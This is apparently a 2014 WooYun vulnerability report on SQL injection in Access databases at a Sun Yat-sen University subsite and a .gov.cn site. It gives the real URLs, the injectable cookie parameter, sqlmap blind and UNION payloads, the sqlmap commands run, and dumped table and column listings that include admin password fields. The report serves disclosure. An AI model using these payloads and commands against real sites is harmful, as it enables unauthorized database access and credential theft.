当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-062837

漏洞标题:中山大学某分站多处SQL注射漏洞#Access Injection

相关厂商:CCERT教育网应急响应组

漏洞作者: 从容

提交时间:2014-05-30 11:39

修复时间:2014-07-14 11:40

公开时间:2014-07-14 11:40

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-30: 细节已通知厂商并且等待厂商处理中
2014-05-30: 厂商已经确认,细节仅向厂商公开
2014-06-09: 细节向核心白帽子及相关领域专家公开
2014-06-19: 细节向普通白帽子公开
2014-06-29: 细节向实习白帽子公开
2014-07-14: 细节向公众公开

简要描述:

中山大学某分站#Access Injection

详细说明:

第一处Access Injection地址:

http://www.lsjjj.gov.cn/info_Print.asp?ArticleID=807


---
Place: Cookie
Parameter: ArticleID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ArticleID=807 AND 3371=3371
---


第二处Access Injection地址:

http://philosophy.sysu.edu.cn/jdjsx/info_Print.asp?ArticleID=981


---
Place: Cookie
Parameter: ArticleID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ArticleID=981 AND 3481=3481
Type: UNION query
Title: Generic UNION query (NULL) - 28 columns
Payload: ArticleID=-8463 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)&CHR(110)&CHR(97)&CHR(98)&CHR(113)&CHR(99)&CHR(86)&CHR(77)&CHR(80)&CHR(104)&CHR(103)&CHR(120)&CHR(106)&CHR(105)&CHR(116)&CHR(113)&CHR(119)&CHR(112)&CHR(110)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---

漏洞证明:

第一处
#1、获取表段:

sqlmap -u http://www.lsjjj.gov.cn/info_Print.asp --cookie ArticleID=807 --table --level 2


Database: Microsoft_Access_masterdb
[4 tables]
+---------+
| user |
| admin |
| article |
| photo |
+---------+


#2、获取字段:

sqlmap -u http://www.lsjjj.gov.cn/info_Print.asp --cookie ArticleID=807 --columns -T user --level 2


Database: Microsoft_Access_masterdb
Table: user
[17 columns]
+--------------+-------------+
| Column | Type |
+--------------+-------------+
| key | non-numeric |
| address | non-numeric |
| articleid | numeric |
| author | non-numeric |
| classid | numeric |
| editor | non-numeric |
| height | numeric |
| homepage | non-numeric |
| icq | non-numeric |
| logins | numeric |
| msn | non-numeric |
| qq | non-numeric |
| title | non-numeric |
| userid | numeric |
| username | non-numeric |
| userpassword | non-numeric |
| width | numeric |
+--------------+-------------+


第二处
#1、获取表段:

sqlmap -u http://philosophy.sysu.edu.cn/jdjsx/info_Print.asp --cookie ArticleID=981 --table --level 2


Database: Microsoft_Access_masterdb
[3 tables]
+---------+
| admin |
| article |
| vote |
+---------+


#2、获取字段:

sqlmap -u http://philosophy.sysu.edu.cn/jdjsx/info_Print.asp --cookie ArticleID=981 --columns -T admin --level 2


Database: Microsoft_Access_masterdb
Table: admin
[4 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| data | non-numeric |
| id | numeric |
| password | non-numeric |
| username | non-numeric |
+----------+-------------+

修复方案:

:)

版权声明:转载请注明来源 从容@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-05-30 12:56

厂商回复:

通知并联系用户处理

最新状态:

暂无